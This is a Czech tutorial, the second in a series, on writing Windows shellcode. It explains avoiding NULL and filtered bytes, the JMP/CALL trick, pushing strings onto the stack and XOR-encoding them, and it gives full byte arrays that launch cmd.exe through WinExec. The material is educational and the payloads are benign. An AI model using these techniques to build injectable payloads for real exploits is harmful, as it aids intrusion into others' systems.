V druhém dílu seriálu se čtenáři dovědí několik teoretických věcí, jež se při práci s shellcody hodí znát, a zjistí, jak využívat textové řetězce. Výsledkem jsou pak téměř identické shellcody, využívající rozdílné techniky práce s řetězci, které spouští Příkazový řádek (Command Line).

Obsah:
——————————————
i. Úvod
ii. Nezbytná teorie
iii. Shellcody a textové řetězce
– První koncept
– JMP/CALL Trick
– Druhý koncept
– XOR a řetězce

Odkazy
——————————————

i. Úvod
V posledním dílu jsme se seznámili s historií, definovali si pojem shellcode, ukázali jsme si, jak získat adresy Win API funkcí a jak je používat, naťukli jsme téma problematiky NULL bajtu a napsali si první funkční shellcode. V tomto dílu si rozebereme další nezbytnou teorii, ukážeme si, jak pracovat s textovými řetězci a napíšeme si první reálně využitelný shellcode, který nám spustí Příkazový řádek (CommandLine).

ii. Nezbytná teorie
Naposledy jsem napsal, že shellcode nesmí obsahovat NULL bajty. Tohle tvrzení je pravdivé jen z části a zaleží na okolnostech a situaci (bude blíže vysvětleno později). Přesto je dobré se tohoto tvrzení striktně držet.

To ale není vše. V různých případech je nutné předcházet i jiným znakům, než pouze NULL bajtům. Máme například aplikaci, která vstupní řetězec prožene přes parser a rozdělí ho podle určitých znaků na bloky. Tyto bloky budou v konečném výsledku na zásobníku v jiném pořadí nebo dokonce budou některé úplně zahozeny. Mezi běžně filtrované znaky patří třeba tabulátory(0x09, 09h), nové řádky – LF (0x0A, 0Ah), návrat vozíku – CR (0x0D, 0Dh), ale i zpětná lomítka (0x5C, 05Ch) – hlavně kvůli řídícím znakům. Z toho je patrné, že opět záleží na aktuální situaci, která se může lišit aplikaci od aplikace. Tyto zdánlivě jednoduché věci kladou na vývojáře shellcodů relativně vysoké nároky, protože občas je potřeba třeba jednobajtový opcode nahradit několikanásobně větší alternativou, čímž narůstá i velikost celého shellcodu.

Důležitým pravidlem, které by mělo být vždy 100% dodrženo, je kontrolovat cizí shellcody pomocí reverse code engineeringu. Ptáte se proč? Odpověď je jednoduchá: Aby se stala z funkční verze shellcodu backdoored verze, stačí řádově několik bajtů v shellcodu navíc. Běžný uživatel nic nepozná a následky mají většinou drtivý dopad. Příkladem může být tzv. reverzní shell. Ten se po aktivaci snaží připojit na danou IP adresu a poskytnout útočníkovi shell. U veřejně dostupných shellcodů je tato adresa nastavována na loopback (127.0.0.1) s tím, že si každý uživatel tuto adresu změní na jím požadovanou. To by nebylo nic neobvyklého, kdyby třeba o dva tři řádky výše nebyla použita skutečná adresa připojení patřící autorovi-záškodníkovi. Když pak takový shellcode uživatel spustí, vytvoří spojení se zaškodníkovým počítačem a záškodník si může vesele „hrát“ (bez vědomí uživatele). Zde je jednoduše paranoidní přístup k cizím kódům výhodou, nikoliv slabošským jednáním.

iii. Shellcody a textové řetězce
Dřív nebo později každý, kdo se zajímá o shellcody, dospěje do stádia, kdy je donucen začít používat textové řetězce. Jak jinak bychom asi volali systémové příkazy? 😉 Existují dva základní koncepty používání řetězců v shellcodech.

První koncept
První vkládá textové řetězce přímo do sekce .text. Takže nám stačí vytvořit si nepojmenované pole znaků a před něj umístit návěstí, jež bude ukazovat právě na tento náš řetězec. Mohl by vypadat například takhle:

1
2
3
4
....
_MujString:
	db "Tady je muj retezec",0
....

Sláva, máme řetězec 🙂 Co ale dělá na konci ten NULL bajt? To není dobré. Bude potřeba se ho nějak zbavit. První věc, která asi každého napadne, je místo NULL bajtu vložit znak X udávající konec řetězce a tento teprve nahradit NULL bajtem:

1
2
3
4
5
6
7
	mov eax, offset _MujString	; eax obsahuje adresu retezce
	xor ebx, ebx                ; vynulujeme ebx
	mov byte ptr [eax + 19], bl ; 19. znak v retezci prepiseme na 0
	nop
	int 3                       ; preruseni zavola debugger
_MujString:
	db "Tady je muj retezecX" ; retezec je "ukoncen" znakem X

Zkompilujme si tento kód a spusťme si ho v debuggeru. Při pokusu o zápis nuly na konec řetězce dostaneme hlášku „Access violation“.

system-cmd_1

Na první pohled by se zdálo, že přistupujeme někam, kam nemáme právo přistupovat. A ono tomu tak skutečně je. Sekce .text má (většinou) nastavena práva READABLE, EXECUTABLE (as code), takže může být čten, může být vykonán, ale při pokusu o zápis do .text sekce vždy dojde k chybě. Tak co teď? Teď nám výborně poslouží jako pomůcka nějaký PE editor[1]. Načteme si náš kód a přidáme sekci .text atribut WRITABLE (Může se stát, že na to budou AV programy reagovat podrážděně, protože sekce .text s příznakem WRITABLE je jedním z ukazatelů, že soubor je pravděpodobně infikovaný virem). Když teď náš kód zkusíme znovu krokovat, přejdeme už tohle místo bez problému. Nyní si jen zjistíme adresu funkce WinExec a můžeme pomalu zkompletovat celý kód. Na mém systému je funkce WinExec na adrese 0x7c86250d.

Takže si vynulujeme poslední bajt řetězce. Teď můžeme volat funkci WinExec[2]. Ta bere dva parametry: první je příkaz/aplikace, jež se má vykonat/spustit, druhý je viditelnost okna (nastavíme na 1, aby bylo vidět). A nakonec zavoláme oblíbenou funkci ExitProcess 🙂 Kód může vypadat třeba takhle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	mov eax, offset _MujString
	xor ebx, ebx
	mov byte ptr [eax + 7], bl
 
	mov bl, 1
 
	push ebx
	push _MujString
	mov ebx, 07c86250dh
	call ebx
 
	xor ebx, ebx
	push ebx
	mov ebx, 07c81cb12h
	call ebx
 
_MujString:
	db "cmd.exeX"

Zkompilujeme, změníme atribut sekce .text na WRITABLE a spustíme. Funguje skvěle 🙂 Když se však podíváme v debuggeru na opcody, zjistíme, že kód obsahuje (ale nemusí a v tom tkví největší zákeřnost) dva NULL bajty. Ty jsou dány adresací a je bezprostředně nutné se jich zbavit. Zde si pomůžeme tzv. JMP/CALL trikem.

JMP/CALL Trick
Tento trik využívá skutečnosti, že při volání instrukce call je na zásobník uložena EIP, aby bylo jasné, na které místo v kódu se po vykonání funkce (vykonání instrukce ret) má přesměrovat vykonávání programu. Takže na začátku kódu stačí skočit na návěstí, které udává string a za něj vložit volání funkce (call) na návěstí umístěné za počáteční skok. Na této adrese už jen vyzvedneme hodnotu (návratovou adresu) ze zásobníku a máme adresu řetězce. Kód by mohl vypadat třeba takhle:

1
2
3
4
5
6
7
8
9
	jmp _String
	pop ebx	; vyzvedneme si adresu retezce ze zásobníku
		; (návratová adresa z funkce)
	...
	...
_String:
	call _UzMamString  ; EIP bude obsahovat adresu retezce
			   ; ta bude ulozena na zásobník
	db "nejaky retezec"

Takže výsledný kód se změní na:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
	jmp short _MujString
_Vykonej:
	pop eax
	xor ebx, ebx
	mov byte ptr [eax + 7], bl
 
	mov bl, 1
 
	push ebx
	push eax
	mov ebx, 07c86250dh
	call ebx
 
	xor ebx, ebx
	push ebx
	mov ebx, 07c81cb12h
	call ebx
 
_MujString:
	call _Vykonej
	db "cmd.exeX"

Když se nyní podíváme na kód do debuggeru, neměl by obsahovat jediný NULL bajt. A tady už je finální testovací kód pro můj systém:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
 
int main(){
    unsigned char shellcode[]=
    "\xEB\x1B\x58\x33\xDB\x88\x58\x07\xB3\x01"
    "\x53\x50\xBB\x0D\x25\x86\x7C\xFF\xD3\x33"
    "\xDB\x53\xBB\x12\xCB\x81\x7C\xFF\xD3\xE8"
    "\xE0\xFF\xFF\xFF\x63\x6D\x64\x2E\x65\x78"
    "\x65\x58";
 
    void (*pfunc)();
 
    pfunc = shellcode;
 
    pfunc();
 
    return 0;
}

system-cmd_2

Druhý koncept
Druhý koncept práce se stringy využívá možnosti ukládat je přímo na zásobník pomocí instrukce push. Ovšem stejně jako v předchozím případě se ani zde nevyhneme několika problémům. U rodina procesorů x86 roste zásobník do protisměru. Proto je potřeba celý řetězec převrátit (architektura typu Little Endian pracuje se zrcadlově otočenými bajty) a následně uložit vrchol zásobníku (registr ESP), protože ukazuje začátek řetězce. Řekněme, že chceme použít řetězec „RubberDuck“:

1. Celý řetězec otočíme tak, aby byl na konci první znak a na začátku znak poslední
2. Přeložíme jednotlivé znaky na odpovídající hexadecimální kód.
3. Rozdělíme si celý řetězec po čtyřech bajtech (na zásobníku se při vkládání hodnoty pracuje se zarovnáním na 4 bajty) tak, že první 4 bajty budou úplně na konci, druhé 4 bajty budou předposlední atd.
4. Vkládáme vzniklé bloky (dvojslovo/dword) na zásobník od prvního k poslednímu, takže po vložení celého řetězce budou na vrcholu zásobníku první 4 bajty řetězce.
5. Uložíme aktuální adresu vrcholu zásobníku a získáme tak adresu řetězce.

1
2
3
4
5
6
....
push 000006b63h	; \0\0ck
push 075447265h	; uDre
push 062627552h	; bbuR
mov ebx, esp	; ebx = adresa pocatku retezce
....

Jistě jste si všimli, že první push obsahuje dva NULL bajty, které by tam být neměly (minimálně jeden určitě ne). Nabízí se podobné řešení jako v prvním případě práce s řetězci. Tedy nahradit NULL bajty jinými znaky a ty pak přepsat.

1
2
3
4
5
....
push 030306b63h	; 00ck
xor eax, eax
mov byte ptr [esp + 2], al
....

Takže celý kód by mohl vypadat například takhle:

1
2
3
4
5
6
7
8
9
....
push 030306b63h	; 00ck
xor eax, eax	; eax = 0
mov byte ptr [esp + 2], al
; nebo mov word ptr [esp + 2], ax
push 075447265h	; uDre
push 062627552h	; bbuR
mov ebx, esp	; ebx = adresa pocatku retezce
....

Druhým a jednodušším řešením je použít registr, do kterého vložíme poslední dva bajty a ten teprve celý vložíme na zásobník, tedy:

1
2
3
4
5
6
7
8
....
xor eax, eax	; eax = 0
mov ax, 06b63h	; ax = "ck"
push eax
push 075447265h	; uDre
push 062627552h	; bbuR
mov ebx, esp	; ebx = adresa pocatku retezce
....

Ale to není vše. Může se nám stát, že potřebujeme na zásobník uložit pouze tři bajty místo čtyř. Jako první možnost se nabízí použít kombinaci výše zmíněných kódů. Dejme tomu, že za řetězec „RubberDuck“ ještě přidám ‚!‘ (vykřičník):

1
2
3
4
5
6
7
....
push 030306b63h	; 00ck
xor eax, eax	; eax = 0
mov al, '!'		; al = '!'
mov byte ptr [esp + 2], al	; vloz vykricnik
mov byte ptr [esp + 3], ah	; a nezapomen na NULL bajt
....

XOR a řetězce
To je vše. A nebo ne 😉 Když si budeme chtít vyhrát (hodí se do budoucna), můžeme využít instrukci XOR, která má tu vlastnost, že pokud nějakou hodnotu vyxorujeme jinou nestejnou/rozdílnou hodnotou a výsledek opět vyxorujeme touto hodnotou, dostaneme zpět původní hodnotu. Na poslední tři znaky z našeho řetězce „RubberDuck!“ použijeme nějakou nestejnou hodnotu na všech bajtech, abychom se vyhnuli NULL bajtům. Tedy, 030216b63h je řetězec „0!kc“ a třeba „7331“ (037333331h) bude řetězec, který použijeme pro xorování. Výsledkem této operace (můžeme pro ni použít vědeckou kalkulačku ve Windows) je hodnota 007125852h.

1
2
3
4
5
....
mov eax, 007125852h	; eax = zaxorovana hodnota
xor eax, 037333331h	; dekoduj hodnotu
push eax			; uloz dekodovanou hodnotu na zasobnik
....

Nyní si tedy vytvoříme identický shellcode jako v prvním případě s tím rozdílem, že řetězec umístíme na zásobník. Nejprve celý kód v assembleru:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	xor ebx, ebx
	push 030307865h	
	mov byte ptr [esp + 2], 065h
	mov byte ptr [esp + 3], bl
	push 02e646d63h
	mov eax, esp
 
	mov bl, 1
 
	push ebx
	push eax
	mov ebx, 07c86250dh
	call ebx
 
	xor ebx, ebx
	push ebx
	mov ebx, 07c81cb12h
	call ebx

V debuggeru není vidět jediný NULL bajt, takže se vrhneme rovnou na finální verzi shellcodu pro mou verzi systému:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
 
int main(){
    unsigned char shellcode[]=
    "\x33\xDB\x68\x65\x78\x30\x30\xC6\x44\x24"
    "\x02\x65\x88\x5C\x24\x03\x68\x63\x6D\x64"
    "\x2E\x8B\xC4\xB3\x01\x53\x50\xBB\x0D\x25"
    "\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\x12\xCB"
    "\x81\x7C\xFF\xD3";
 
    void (*pfunc)();
 
    pfunc = shellcode;
 
    pfunc();
 
    return 0;
}

Věřím, že příklad pro ostrý test si dokáže vytvořit každý sám 🙂 Teď si již může každý vyhrát dle libosti 🙂 Příkladové shellcody je možné ještě dále zmenšit. Nechám na každém čtenáři, aby se pokusil kód minimalizovat a o případném úspěchu či neúspěchu se s ostatními čtenáři podělil v komentářích 🙂

Odkazy:
[1]http://www.softpedia.com/get/Programming/File-Editors/PE-Tools.shtml

[2]http://msdn.microsoft.com/en-us/library/ms687393%28VS.85%29.aspx